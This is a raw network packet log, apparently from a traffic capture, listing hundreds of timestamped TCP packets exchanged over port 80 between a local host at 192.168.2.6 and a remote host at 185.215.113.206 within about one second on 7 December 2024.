Dec 7, 2024 22:40:41.796066999 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.796159983 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.797418118 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.797472954 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.797610044 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.797658920 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.798341990 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.798425913 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.798505068 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.798563004 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.798976898 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.798988104 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.799016953 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.799034119 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.800035000 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.800045967 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.800082922 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.800916910 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.800929070 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.800965071 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.800981045 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.801760912 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.801774979 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.801820040 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.802818060 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.802925110 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.802989006 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.803807974 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.803865910 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.803953886 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.804516077 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.804557085 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.804573059 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.805342913 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.805497885 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.805572033 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.805671930 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.805756092 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.806509018 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.806612968 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.806669950 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.806716919 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.807339907 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.807385921 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.807400942 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.807439089 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.808568001 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.808579922 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.808628082 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.809420109 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.809432030 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.809468985 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.810138941 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.810189009 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.810235023 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.810302973 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.811265945 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.811326981 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.811430931 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.811476946 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.812216043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.812227964 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.812271118 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.813034058 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.813088894 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.813091993 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.813204050 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.814065933 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.814148903 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.814207077 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.814254045 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.815082073 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.815093040 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.815126896 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.815886021 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.815902948 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.815951109 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.901732922 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.901854038 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.901937008 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.901984930 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.902179956 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.902220964 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.902307987 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.902349949 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.903153896 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.903196096 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.903342962 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.903387070 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.904016018 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.904061079 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.904062986 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.904109955 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.905097008 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.905174017 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.905463934 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.905505896 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.906260014 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.906303883 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.906433105 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.906478882 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.906816006 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.906864882 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.906908989 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.906955004 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.907938004 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.907989025 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.908698082 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.908744097 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.909660101 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.909707069 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.909857035 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.909904003 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.910202026 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.910216093 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.910249949 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.910264969 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.910698891 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.910768986 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.910873890 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.910917997 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.911664009 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.911708117 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.968494892 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.968549013 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.968625069 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.968926907 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.968961954 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.968981981 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.969012976 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.969129086 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.969897985 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.969948053 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.969949961 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.969988108 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.970572948 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.970621109 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.970666885 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.970707893 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.971544027 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.971597910 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.971668005 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.971712112 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.972466946 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.972521067 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.972575903 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.972615004 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.973433018 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.973489046 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.973510027 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.973552942 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.974406958 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.974457026 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.974498987 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.974574089 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.975330114 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.975378990 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.975460052 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.975507975 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.976262093 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.976309061 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.976414919 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.976459980 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.977627993 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.977680922 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.977690935 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.977736950 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.978688955 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.978735924 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.978837967 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.978884935 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.979851961 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.979901075 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.979984999 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.980030060 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.980930090 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.980978012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.981004000 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.981046915 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.981945992 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.981993914 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.982063055 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.982105970 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.982877016 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.982923985 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.982992887 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.983035088 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.983803988 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.983848095 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.983891010 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.983936071 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.984471083 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.984515905 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.984566927 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.984611988 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.985127926 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.985174894 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.985229969 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.985271931 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.985913992 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.985963106 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.986001015 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.986043930 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.986654997 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.986702919 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.986764908 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.986812115 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.987561941 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.987612009 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.987689972 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.987735033 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.988584995 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.988640070 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.988667965 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.988709927 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.989469051 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.989520073 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.989546061 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.989584923 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.990425110 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.990475893 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.990524054 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.990571022 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.991348028 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.991395950 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.991494894 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.991539955 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.992355108 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.992399931 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.992404938 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.992439985 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.993248940 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.993303061 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.993346930 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.993415117 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.994199991 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.994250059 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.994306087 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.994350910 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.995137930 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.995187998 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.995230913 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.995270967 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.996082067 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.996129036 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.996170998 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.996217966 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.997040987 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.997088909 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.997148037 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.997191906 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.997968912 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.998019934 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.998096943 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.998142004 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.998928070 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.998976946 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.998991013 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.999034882 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.999881029 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.999933004 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.999978065 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.000020027 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.000849962 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.000897884 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.000925064 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.000966072 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.001823902 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.001874924 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.001923084 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.001965046 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.002686024 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.002732038 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.002791882 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.002840996 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.003675938 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.003726959 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.003798008 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.003839016 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.004581928 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.004631996 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.004703999 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.004765987 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.005523920 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.005577087 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.005682945 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.005727053 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.006449938 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.006503105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.006561995 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.006612062 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.007508039 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.007528067 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.007558107 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.007570982 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.093743086 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.093817949 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.093858957 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.093880892 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.094160080 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.094208956 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.094301939 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.094342947 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.095155001 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.095208883 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.095293999 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.095351934 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.096044064 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.096091032 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.096134901 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.096178055 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.097032070 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.097078085 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.097127914 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.097173929 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.097945929 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.097987890 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.098062038 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.098109007 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.098893881 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.098942995 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.099096060 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.099138021 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.099890947 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.099941969 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.099967957 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.100004911 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.100754976 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.100800037 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.100852013 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.100892067 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.101778984 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.101826906 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.101936102 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.101983070 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.102629900 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.102684975 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.102730989 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.102772951 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.103579044 CET	80	49790	185.215.113.206	192.168.2.6
